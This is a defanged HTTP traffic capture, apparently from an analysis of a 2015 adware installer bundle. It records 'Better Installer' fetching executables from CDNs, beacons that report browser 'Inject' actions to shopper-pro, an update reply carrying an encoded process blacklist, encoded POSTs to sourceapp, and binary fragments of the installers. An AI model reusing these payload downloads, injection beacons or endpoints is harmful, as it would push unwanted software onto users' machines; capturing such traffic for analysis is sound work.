.#....@$D.$L<...Uy..|;?*..&.4.....!..v.'E.l....(.....z.~..Ae.|..D..
....@[email protected]....\<1.|.*...m>...
.o#.@..&1...E...z....v.m.?....2..:.X....N..J...l..#`d.^[.oj.1.........
x..n.O|.vfU. ..R.....x..Yg.._..u...G. ...N[[email protected].
,...g.=}4n......aH...a.....`..v.......'@...<R.L......."J(..##..nV'.
.f../V...w!..'%..(b.`......e.h....x=9&......M..X-_T...c.8..]'.F.......
....M.....m.G.........s..X...|.......;......2..B..AAu4..Wu..B...lf....
......BUw.C...^J...(F.1;.s..f3.............m,...<.. .N.9..3$..C..=.
..a..z.....G..?..i-.2.....hD..?....^?..B........~.....>]........G0.
..F....'][email protected].......)..W.r.=.ò....l.r.z...
.......7..e. \$D.......t.......[.Z..N2.......%[email protected]...<....C.<<< skipped >>>

GET /styles/yta.css?v=1 HTTP/1.1

Accept: text/css

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: VVV.youtubeaccelerator.com

DNT: 1

Connection: Keep-Alive

Cookie: ASP.NET_SessionId=v42ebrdc5eunyodkxgchp5ds


HTTP/1.1 200 OK

Content-Type: text/css

Content-Encoding: gzip

Last-Modified: Tue, 10 Jun 2014 08:53:10 GMT

Accept-Ranges: bytes

ETag: "05f91678984cf1:0"

Vary: Accept-Encoding

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:21 GMT

Content-Length: 1754
...........Z.n.6../.w...].[.d....j.v..mWC1P.m..D....B.l.{....'..('....
j..E....s.............d{\nAX}....s\.....|...&.[.....&; .~....Y..h.....
...\.....1. ... . !-P.. ..p.....\Ws.d...h.V.8..V...v...v.hS....*0/b(..
v#...8.........>.9$x/....#..B`.p. *...l8.......9..6.....,QD.c....3:
.Fa}...".....$1..9D.3.e"kv.^..m8.7M.a..b. ..1h..r...].P.N......{.]....
}...!.V...SQ..5%.G.a.<.)..[.`..m...=Iyif.r3X.{W......{..].......q.q
.<........gP' ..P...4.. .v..4'Q.M.B.~.M8.X....!.S#.w.....a/..sD...C
..`....O....a.P/.. 7%Y]..SD.....c.8..&......-VK....|..c.vfA2X.e..a.l%G
%.uL..b.q,.G[b......r..:)%y...F$w..C.r|'........N....;.../.Z.....0.G..
..93.....b....Pd....3`.qY5<...............G....Q...vo......{A;..q..
...z.Z..qo.1...*.....GV._C...vq...g..lu[g.9.9n...i^..s..{..b.....!...o
8...z..c.AE.M.S...h...n<.\.....:O..F..a^.`N.EP...Ul..o.e4.....8...0
..K.^#...{=Yqsy.h........gw...x_....).............NL...... ..2..!.6...
~-z..5hGv...Gj...,N..0....{ N.......k.iD .......i\..5.:39...b.H..k.`..
"............y....v..M.%..G.x%.X(....|0=.....{...M.., .q.* &"-.......6
.v.....G......5..o...}.hE..h..l-v....U...v.^VP...?.hy..9:U...E..q.k.\.
..V.<K....>G......'..U.S....j.p%.......]..7.`..I`6).....k.W.....
.).\.r. ...._..#fm...p8-}.}..].C5.b*W.r..!.V.....p.(..!.D]..}.aJ......
..".qy'...aT..Z......".3j....D...wdj....R/.....B}.....q..2....J2...m..
..f.k.0.....6....W.........m.8.-Q!6..M..........%...8>....4...Y.L&.
`WC.?..y.E7.N.....Yt...,P.U..uJ:N|..Nz.J...O..... ?%....C.8%.........h
..U.'.n&Oe..h....x....%....~...):........7..c..[]x....H.u.O.._..g#<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=178475-

User-Agent: Better Installer(Mozilla)

Host: dwl4rwv9nkwfy.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 107083

Connection: keep-alive

Date: Sun, 08 Feb 2015 04:56:46 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 178475-285557/285558

Age: 3310

X-Cache: Hit from cloudfront

Via: 1.1 017ee4b2e5ba6b7a7dd1443f39b6e832.cloudfront.net (CloudFront)

X-Amz-Cf-Id: bBd37a6gJpTC30__3GTL3WA1Pu4JLnfChIQxvUUOf-pMl6LWXcmkKg==
w.N>.Pq..A)...[N......B.x../.>[email protected]..
N.Z......j..&...h....A.hO..\....'.....sj.`.....H.S.|.s=.......I.)L>
...c....i.>.....G.u..H.D....P......qC0<.(...m..y.dm.\1N.m...v.T`
- .Ss. .G2..rk.......N{[email protected].......}......6P$....2
.52..!.x....L.R. [email protected],.].\...a..........k
.....A.....P....u`..I.///....b~.y..^...P...z..p..:.d.....R.4....U. ...
../.M]..~.........(...... y.).. ..In.I.)..ua.*..N!Q.......1.e..b)F5...
x.bS..f..|q.H..K...V.`.^...x!Su4_"?...uc.tY.m...%....r..be.z. ....0.^.
....]y........)... .u_/..V..6).v..\.7n-z.q.............Y.w.oBk..f..}..
[email protected]. .*.b.;..).....|.\@c..)......H.P..;......!"...gN.......9W..
.. ......NJJJ....N|..)T..aU..1....5~.G...=d.m..Qfl..?.yO|e...`.sXm$Op;
."p................t=V.........Q....f.r0.........i...M......E....Y.../
....N.7/.;.....|..R...(./.4..{)..~.M....).......f.w...6.^.0TB...H..c..
.....^-a.G`0ub..|a;.C..T.<..N/......^..>."....f..$..d.=.X0..x4R.
..W...=.....`..w.$\a/.~R.~<.....jS.q.es....-.....#W#.D.4H...tw...&.
A.w/...t...[H"D....9E].....A....B<D.7[.2.3.!.......P.......R..R._.I
...y........([email protected].\D.k.2....3..".".......
.p...?_X.........$v.....,......\.V..EV.G...........Z.DO....B..V...%.D.
...].n..`...H.!..=<.. Y.*l..].j.u.d.o.M.i...>..m........$K..@...
..]~.H.z.p.O.?.i.&.U.....U."<..o.S#..x.....s..g.[.....A.6~'-.1D....
....`Pim2....;.xsV2.'7.#..jlW.1-..4......h ..~...oV..."...]|..i=.....V
(.....e..!..EU.d....ui..9).....^P.o.g..e..H.1x.....\.#..D....G.w.p<<< skipped >>>

GET /software_files/flvplayer/1_0/FLVPlayerSetup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:58:03 GMT

Content-Type: application/octet-stream

Content-Length: 279752

Last-Modified: Tue, 16 Jul 2013 14:25:52 GMT

Connection: close

ETag: "51e557f0-444c8"

Accept-Ranges: bytes

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................^...........0.......p....@.........
.................0......]........................................t....
.......M...........,..8...............................................
.............p...............................text...L\.......^........
.......... ..`.rdata.......p.......b..............@[email protected]\......
.....v..............@....ndata...................................rsrc.
...M.......N...z..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h ...Pj.h`[email protected]...\r@._^3.
[.....L$....B...Si.....VW.T.....tO.q.3.;5..B.sB..i......D.......t.G...
..t...O..t .....u...3....3...F.....;5..B.r._^[...U..QQ.U.SV..i....

<<< skipped >>>

GET /?type=1&domainId=3026708&dedup=1&actionid=238238 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 3026708.r.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK

Server: Microsoft-IIS/8.0

p3p: CP=BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo

Date: Tue, 10 Feb 2015 04:00:24 GMT

Connection: close

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTFirefox&rnd=1423540776&it=1&action=Inject&text=JollyWallet HTTP/1.1

Host: rep.shopper-pro.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:34 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 03:59:34 GMT..Content-Length: 0..

GET /sd?is=sm HTTP/1.1

Range: bytes=218715-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 11 Feb 2015 03:59:05 GMT

Date: Tue, 10 Feb 2015 03:59:05 GMT

Content-Range: bytes 218715-583239/583240

Content-Length: 364525

Connection: keep-alive
...]...q>TN............p.$o.=m%.\._...........S...%.1/Q..c.....(..\
a...N..~.?..u..).\..*..C.?...LrC~...A...e..Y..wg<..........*..H..:R
Snl.. .&.;....S..P.Iw.B....0..[.....3..T.O......#.{.......5.....h....l
.>7.C...1U..e`.{.Y...U...1%.2B...i..A.R.47JQ.J..`.n...X...hN..c..x.
1...Dn.#........k.D....Nn....a....E...e.X.>.`&.1@.^xU.5.....<..p
.V..]..R ..H#..A.p..p...~....)...N~./[email protected](.....*.2....>...=.m...
.C.....jmpG.......l... ..R..a.3....m$xnw..-kU...'}a..Q?.O..."..(U..0..
W..... /...W?.7o..3]A.G...E7....UBT.H.. Jc0E.....>v.7=.6..3.].=3'.C
}...N..-...V xK...L.Z.{..o.....Q^....'....~...\e.....&.....WC..xQgeX..
.W.Xk....0....f..{..g....2....O....40 ......?.".........-....5*a.#...U
~..I..MH`.....M.....G..Q.M.....~.P......Z.@sX>@..T.&...../....m}.p.
_..~..&..11..^[email protected]...'..K.g.j]zi.....8.5S."8R....\.H.MO{..>
;.Yt.-....[@......lBI.Q...........7....TX^.....0.5.s.'..C.......9...P.
....[.f...O.G....b.D...l......`.........c.."<...'.....X....,.......
.q............).../.P.Pt3.T.p.A....ZY...`(.....;,.h%...j.,.J..#u |2..n
.w.hx,X..z.K{..zY....UG.{......*..v.N.g..A....|.u..0.).'..qF.K..\..~.a
....M.s;..Q..wY%..<.........39s.KWI5..-..=L..M.MW .Wq.*..5...C.....
[email protected].<...5.K...Hi..H.d ..k...S.........<.....\..3..q!...
8c......o.x...v....W......&....q.w.>..<.Dz..\.....>...M......
[email protected][.... i...o...g..}...eg.._...N.....n>..V3...H|..r....k..
.BvH..g..\[email protected]..'m...e........:.".5...wU.|.....bJ"/[email protected]
.*...uH.x&o.....>....E..?.b.!...Y B......Z...-,...8)...... .$5.<<< skipped >>>

GET /webplayer/flvplayer/html/jwplayer.js HTTP/1.1

Accept: */*

Referer: hXXp://VVV.bigspeedpro.com/webplayer/flvplayer/html/flvplayer.html

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:45 GMT

Content-Type: application/javascript

Last-Modified: Mon, 25 Jun 2012 13:26:00 GMT

Transfer-Encoding: chunked

Connection: close

Vary: Accept-Encoding

Content-Encoding: gzip
600a...............[.....Wp.s.ih.8L...G$...&.f..ie....c..}.j..........
...nu..j..\.Fn|3...sgW.N|S.FQ0....v.^......~jLz.q......v#....A;.;..'..
)L/..z.^....Q...D....U...L#....mG....r...?_.....zoT......)..E.~u......
......:.....Z...m.xRk.....n.Q.2........3 R..V..q.3.....]I.,.*.5...,m5R
._ aA..V._9..a......\.7...*.Sy8.o...(..)...wFu...t:....j.._....;..Z.M.
...&..(...)t......J......R=Z)._./.....F......bt.._Ok_#......^...k.X..{
u;..Z.....).J.....E....=..r...j.8.q...^.b5........._.....ibw...y....G 
._....Y<...j.....?u..|...2p<.?.B..U.ja4....v.I....[8..{.\....VB.
w....t.8/o.<.....)........T........v..>\.:..j..^....3..P^-.{....
..vT.%... Q..8.....~.NU.....,V.....Z..V.w5 ...[^..9..Y|m.o....CY...j.j
......w..`.~1.....z.._..o1E>.....yY....8.........sS.......{....N..^
m.......uL.......K..*LFx.|y._.........G\{4..u.S..xxC.....v>..Q}(.mE
9..y...iIG..a.{ .d.<....1..]w;..h.E..c...]X..7f......^........V!...
...1......5L)1.|i...1!.3^4.v5......zh....-.v.....n..a3..'ut...W.....I.
..M....-...........a.....B..p.........p........`..Z.Y...t.zs.7w.n.?1|.
RG.=`5...G[...# ..=[..}.........L..<...... ......e..R{.e......).c..
.I..U;.,.d .Ba.{.......G.[j...p9..k?...R.o......No ..Z.{7....F..J.W..A
:9T..m.R#1..z3..<........._....{.W....#.X1..... ...Y..j.........l..
#&k;@.[.z.P.Z..h7..Y.....Z.m.....gE..../.VR.J..X..R..JD.\..~..........
N?...M.v...a.He.....?._...^......ps ...?.O*.B..e.....xo.B..4.....x..Vp
........i....Aq..N...t../. F.r..(....tn...[...U0..Z..Z.x...M...IPm...J
>9..y'.N...XEt........n*..H.8..[......M. .Q...!..H.wL.....!.nN.<<< skipped >>>

GET /app/ping.ashx?e=ZuS0/O3oV2rYybLSKYXwfrLp8bM2zq8UVwWiZXwAWyLxFAk6OdbineIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE525CPsyqsZ7A&product=EXTBHO&bhov=1.0.1.4&rnd=29994&action=Inject&text=GeneralInjector&usid=2858020935-2156992550-3658131804&pixguid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&it=5 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 04:00:25 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 04:00:25 GMT..Content-Length: 0..

GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt&update3=version,20.0.0.1714 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 10 Feb 2015 04:00:08 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.07 ms","message":"uid is not set"}..0..
....

GET /v4/sof-windowspm/?action=visit.heartbeat.wpmvt HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/1.6.2

Date: Tue, 10 Feb 2015 04:00:08 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

3d..{"stats":"error","time":"0.11 ms","message":"uid is not set"}..0..
HTTP/1.1 200 OK..Server: nginx/1.6.2..Date: Tue, 10 Feb 2015 04:00:08 
GMT..Content-Type: text/html; charset=utf-8..Transfer-Encoding: chunke
d..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api-version: v4
..3d..{"stats":"error","time":"0.11 ms","message":"uid is not set"}..0
..

GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=afe88cb7-8d54-4fb1-a659-909a345b04f7&Password=kt1ZkW7W&OS=10&V=3.3.9.4&VS=1&Beta=0&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&XMLUpdateFailed=0&ElapsedTime=1423540772&SBPIDS=1 HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=bxiizz55zjgy0qyekng0vi55


HTTP/1.1 200 OK

Connection: close

Date: Tue, 10 Feb 2015 03:59:31 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 547
<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>..<ADS><
;SHOW>1</SHOW></ADS>...<BLACKLIST>..<LEN>10
8</LEN><DATA>..Y3JzcztzdmNob3N0O0FjdFNhZ2UuZXhlO2NkYXNmLmV
4ZTt3bGlkc3ZjLmV4ZTt3bGNvbW0uZXhlO2FnZW50LmV4ZTtBU0MuZXhlO3N1bXAuZXhlO
0F1ZGlhbHMuZXhlO1RlYW1WaWV3ZXI7..</DATA></BLACKLIST>....&l
t;SENDLOGRULE>..1..</SENDLOGRULE>...</RESULT>...

GET /internal/reporter?v=2&subid=F2Awsmtycl1-e5f8ccfa-064a-4525-b909-9b89e346b6d9&format=1&ai=990&ctxu=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&fb=false&cid=&cbs=0.5480376002401501&sid=14567725608&terms=youtube accelerator, youtube, accelerator, videos, buffering&keywords=youtube accelerator, youtube, accelerator, videos, buffering&dm=youtubeaccelerator.com&charset=utf-8&ttl=Thank you for Installing YouTube Accelerator&adl=true&loc=http://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE&dm=VVV.youtubeaccelerator.com&subid=F2Awsmtycl1-e5f8ccfa-064a-4525-b909-9b89e346b6d9&um=Powered by Shopper-Pro HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Tri
HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:23 GMT

Content-Type: application/javascript

Content-Length: 23

Vary: Accept-Encoding

Etag: "f84bbf6aa01fbf93fa4b87fc8e9ae1766be62eda"

Cache-Control: public, max-age=86400

Set-Cookie: tid=i-5222886890668551423540823.31664; Path=/

Set-Cookie: uid=i-5222886890668551423540823.31665; expires=Fri, 07 Feb 2025 04:00:23 GMT; Path=/

Set-Cookie: a.visadd.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/
function donothing(){};HTTP/1.1 200 OK..Date: Tue, 10 Feb 2015 04:00:2
3 GMT..Content-Type: application/javascript..Content-Length: 23..Vary:
 Accept-Encoding..Etag: "f84bbf6aa01fbf93fa4b87fc8e9ae1766be62eda"..Ca
che-Control: public, max-age=86400..Set-Cookie: tid=i-5222886890668551
423540823.31664; Path=/..Set-Cookie: uid=i-5222886890668551423540823.3
1665; expires=Fri, 07 Feb 2025 04:00:23 GMT; Path=/..Set-Cookie: a.vis
add.com=; Expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/..function dono
thing(){};..

GET /mg?alpha=aU4RaDF3DytoUWxHPkI VgdTezQ3XRVUcRJDTG9vPEo8PnQqcUYTVmkOfBsRM1gJOkQdTGJudANKXUYjbW1wGjIHPyEANT1ncxtiAx0 Uj4rUhc5bX9LRAkxHyATNy1vH01jNDwyEQNfawwNbmA1WBQ9TWkuJil NhUANWI9DTA5SgdMWXE3MhcBZ2YURGcHOSxWAWQrckhSQW9MLRJ8SR0 Hj4n HTTP/1.1

Connection: Keep-Alive

User-Agent: WinHttpClient

Host: install.sourceapp.info


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 10 Feb 2015 03:59:17 GMT

Content-Length: 184216

WEqpGIBJfL58pnd9lGTfTxLtEI8NXfYPyzx9/0iWVwfnSsxNY7tk/CJz1nnDGE7sHLgALs
0IuRUPuBHUHkScZKdkWvcWwFhK kirdReKZIhEE/MVwFwatCTVfWD DvoPR7Bblwdo7DKy
RhrjQZNXCdIcuAF6kmmaER jVpwLTolboypaskfSTkn9SccuHI4qwU9KvRyUHxy4dopqZu
4P0UJQ51fRHzyhZvJITPxehBZWvjWHJEHVBtAEHbwchFcNtnGVUj2WaOp6U/1fgHoOrCnc
XhTwFb8bC5AIw3tm7QPPC1iZYvFYY kYrBAaqQyXVQDpGIIJYZIIyBoJpBiKT0qdWKNlDL
5Q4FhK kjHLhSaKt4GRPkWnh0agjXEd2L KcQLSK4cj1tn9S27RhrsXYVDA 4Z7lJqlkaB
EVDqEd4MTJEK/HIKrlHLFV2tRIE2QNZ2nggS5gmJXEXuHPtNQ7lGjh5KsVaXByTKJ60DVv
FLk1oN8A6QNFyFRZERD7tU6wJBjFypdFr3FsBYSvpIq3UXimSIRBPzFcBcGrQk1X1g/g76
D0ewW5cHaOwyskYa40GTVwnSHLgBepJpmhEfo1acC06JW6MqWrJH0k5J/UnHLhyOKsFPSr
0clB8cuHaKambuD9FCUOdX0R88oG/ySEz8XoQWVr41hztb1QbQBB28HIRXDbZRtW8Wr1HE
V0fjXrlIKZs020QB7FvAXAmtOMV7WvoHyUwRq0vZUSq7O6YaXeZahFA6/RG5DS7NRIcYEO
RWwAJdhk2IZwyyQtN6TupOjjZAiSfeWQOzW4UNG7s7wno2oQzNAligEpdYfvg9qkgC8VyU
URGwBu4BaNUQy0ZQ6gDfHUrHEuROM4hjlBUE/0yRfFjVZOFTFfYXmBsNojXcbUjHK9kaRJ
dL204ktXyoC1TwS69VAflf9gZ5m0beVhmwBMMOW4BMkGcUrlGUA0j6QYk4WIkpwEkD0RiY
FwmpF9h7d/BIlghKqU3QESTwLbodV/dKww4K/RG/DSDVT4oVH7xWnBldkE27KgP5XdIbHL
YeyTYOljbXCFy9MactKO54km517wKOVAmWR8ZUaO07rARZ6V29aDzuEq8seZpa0FhevhXK
GEqrSatjWuFaw1VKow AbAqKJcZPAskYgAsa7m7ea3j3Ro4IRLdd0HNn7TeoD3vtS4JfTq
YbrQR/kgbQHQ sA8kfS8cSoGcUqFGaG0P3TIZgWNUywF8D4lWXXBaodoonILdI2BdboByP
H07SDYlIFKdegEAEvkfuJWWUWJ0HE64A jF4jEaiaQ oaOp6U/1fgHoOuSPAWQ/wF7AiKq
I93m1g gbAMneEUMFUSvY5uQ9KpwLDQg3wCKkmbZpP0E4SvRjKQQ2AULZjG69R0m9H41iA
NkCBM95GSr0fgwwcqRrRan3tD 8GTqZVlwdg DKtDxSnR5JQG/MPqEo2kUueBxnkVsMVTo
Zc5DwMqUHTRAr0D4xwWNV/igZE6wCcG132dvhVR8xIgExbpErdHzy7LacZTPJLgF8w

<<< skipped >>>

POST /mg?alpha=cEYhZkZrXEBkPDJ DkxJTw9jdUMuIzdIbRd8ZA== HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

User-Agent: WinHttpClient

Content-Length: 250

Host: install.sourceapp.info

alpha=cEYhZkYHez5uJ2t0DkxJTw9jdUMuVSVaBgtLfGEYJUIMMAMzeXYdIXAGTBVmKlA5NDMERFJgAxpCbUhUdGVAFEUeNxEOQiRvQxUVGhUOXEkyWic3GmZDdAdGBigjOVp2F31tQyU6IQ0ocgQ9YBcsUCQzOnAmFicJLx0wOxUkBQA3PR5EaX9AKx8xaRENTFcJTjVeMWpca0BiTxhVJSIyCzAadHBfJDojDClzBiFoHyg5A1BebSdR
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Tue, 10 Feb 2015 03:59:18 GMT

Content-Length: 0

GET /res/helper.min.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 4x3zy4ql-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:18 GMT

Content-Type: application/x-javascript; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: public, max-age=3600, s-maxage=31536000

Expires: Tue, 10 Feb 2015 04:54:01 GMT

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
600a...............v.G....>......H.....U..%yj....m.I..........dB.Y.
{..w..B......Y....}.Z.."j..!22.........b...^....]..u#M.o...po...L...{^
..o........m......Y>_w{........n'..~Y.../.......g..b.l|.g..e..f..W{
....|@......Xu.u...7...m..u.o.q3....<.4..(....t...*)..q...>5...-
.z.a..G.q.O..#..w..F..H.........K.u.O:'.....A../..z...N#[.....cJ.6...f
...%.{.~|......|/{....h.....Z.,N^......h._S2~...u....{G.l:..$k...w.S..
